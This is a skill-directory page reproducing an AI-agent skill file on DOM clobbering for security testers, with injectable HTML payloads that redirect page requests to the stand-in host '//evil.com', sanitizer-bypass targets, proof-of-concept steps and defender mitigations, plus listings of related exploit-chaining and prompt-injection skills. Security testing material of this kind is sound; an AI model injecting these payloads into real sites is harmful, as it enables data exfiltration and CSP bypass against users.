dom-clobbering
What it does
This skill explains how named HTML elements can overwrite page variables in JavaScript. It is for security testers checking whether filtered HTML can still change how a page works.
When to use it
- ✓When a site lets users add HTML that is filtered but may still include named elements.
- ✓When a security review asks whether page scripts read global settings that HTML could overwrite.
- ✓When you want to check whether a content security policy can be bypassed through HTML.
Skill link
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/dom-clobbering/SKILL.mdCopy it and paste it into your AI (Claude, ChatGPT or Cursor), asking it to follow the instructions.
How to use
The easiest way: copy the message and paste it into your AI. It reads the skill and follows the instructions.
Ready-to-paste message
For Claude Code, Codex or Cursor: run it in your project folder and the skill gets installed.
Download the SKILL.md and drop it into your agent’s skills folder.
Example of what to ask your AI
“Can you check whether the HTML filter in my comment section still lets users change my page's JavaScript settings?”
5 new skills a week. 1 minute to read.
How it works
The agent tests whether an element with a chosen name or id can replace a value the page reads, such as a config object, without using script tags.
Technical content (original SKILL.md)
Original text by the author, straight from GitHub.
DOM Clobbering
Named HTML elements (<form>, <a>, <input>, <img>) with name=
or id= are accessible as JavaScript properties of window and document.
If app code does if (window.config.endpoint) and attacker can inject
HTML (even sanitized), they can replace window.config with an HTML
element.
1. The classic
<!-- App code -->
<script>
if (window.config && window.config.endpoint) {
fetch(window.config.endpoint + '/data');
}
</script>
<!-- Attacker-injected HTML (passes most sanitizers — no script/event handlers) -->
<form id="config"><input name="endpoint" value="//evil.com"></form>
window.config resolves to the form. window.config.endpoint resolves
to the input. .endpoint is now "//evil.com". App fetches from evil.
2. Common targets
window.locationoverwrite (anchor w/id=location)- Library global config (jQuery's
$.cookie, etc) - CSP nonce/source values read from globals
document.cookie(limited but exploitable)window.onerrorclobber
3. Payload patterns
Single-element clobber
<a id="config" href="//evil.com"></a>
<!-- window.config is the anchor; window.config.toString() returns "//evil.com" -->
Multi-level clobber (a.b.c)
<form id="config"><input name="endpoint" value="//evil.com"></form>
<!-- window.config.endpoint = "//evil.com" -->
<!-- Deeper nesting via name= chaining is more limited; needs Document Proxy or specific browsers -->
CSP nonce theft
<!-- App: <script nonce="ABC123"> -->
<form name="nonce"><input name="nonce" value="ABC123"></form>
<!-- Some code reads window.nonce.value (rare but exists) -->
Cookie attribute hijack
<form name="cookie" action="//evil.com"></form>
<!-- document.cookie unchanged but some libs read window.cookie -->
4. Where to inject
DOM clobbering payloads pass MOST HTML sanitizers (DOMPurify default, sanitize-html, bleach) because they contain no script tags or event handlers. Targets:
- CMS rich-text content
- Markdown renderers (especially raw HTML-allowed)
- Comment systems
- Profile fields rendered into the page
5. Detection
// In browser console on a target page, list all "named" elements that exist:
Array.from(document.getElementsByTagName('*'))
.filter(e => e.name || e.id)
.map(e => [e.tagName, e.name || e.id]);
// Then check which of these names also exist as window properties used by app JS
// (grep app JS bundle for `window.<name>` references)
6. PoC
Find an HTML-injection sink (not strict XSS) that passes sanitizer
because no JS. Inject the form clobber. Confirm via observed network
request to //evil.com (DNS-level via interactsh).
7. Severity
| Bug | Severity |
|---|---|
| Clobber → CSP bypass enabling stored XSS | Critical 9.0 |
| Clobber of endpoint → exfil PII | High 8.0 |
| Clobber of OAuth flow config | Critical 9.0 |
| Standalone clobber w/o exploitable chain | Low-Medium |
8. Defender
- Sanitizers should strip
id=andname=from user content (DOMPurify hasALLOW_DATA_ATTR: false+FORBID_ATTR: ['id', 'name']config) - Use
Object.defineProperty(window, 'config', {value: cfg, writable: false})for security-critical globals - Use scoped namespaces instead of window globals
- CSP
script-srcw/ hashes (not just nonces) — DOM clobbering can't fake the hash
Cross-references
- Upstream:
skills/_corpus/payloads/DOM Clobbering/ - XSS overlap:
skills/exploit/web/xss.md - CSS injection (similar tactical mindset):
skills/exploit/web/css-injection/SKILL.md(when added)
Known exemplars
- Gareth Heyes / PortSwigger 2020 paper "DOM Clobbering for fun and profit"
- Bypass of Google's Closure templating system
- Multiple HackerOne reports for $5-15k on enterprise CMS clobber chains
FAQ
Why does this matter if scripts are blocked?
The skill notes that named elements without scripts can still change what the page reads, which can lead to bad requests.
Which targets does it mention?
It mentions targets such as window.location, library settings, CSP values read from globals and cookie handling.
Does the attack need a full script injection?
No. The skill is about named HTML elements that work without script tags.
Details
Original description by the author
DOM clobbering — abuse named HTML elements to overwrite JavaScript global variables, bypass CSP, hijack object property lookups.
Popularity
- GitHub stars
- 6.5k
- Ranking position
- #14061
- License
- Apache-2.0
- Updated
- 11/1/2026
Comments
- …
More skills from this repository
detector-overview
6.5kHelps your agent read code that a scanner flagged and decide which flagged spots are real security bugs and which are false alarms.
exploiter-overview
6.5kHelps your agent join several confirmed security weaknesses into one test chain and check how far that chain could reach.
llm-redteam-overview
6.5kHelps your agent find the right AI red-team guide for a test, covering 15 tactic groups from prompt injection to model abuse.
aatmf-t01-prompt-injection
6.5kExplains prompt injection, where hidden instructions try to override an AI system, so security testers can check for it.
Similar skills
reverse-engineer-anything
422kHelps your agent look inside shipped apps and packages to explain features, compare versions, or guide a rebuild, using the REA tool.
1password
394kHelps your agent set up the 1Password CLI, sign in, and read or inject secrets without printing their values into chat.
healthcheck
394kHelps your agent audit the computer or server that runs OpenClaw for security risks, such as SSH, firewall, updates, and backups, then suggest safe fixes.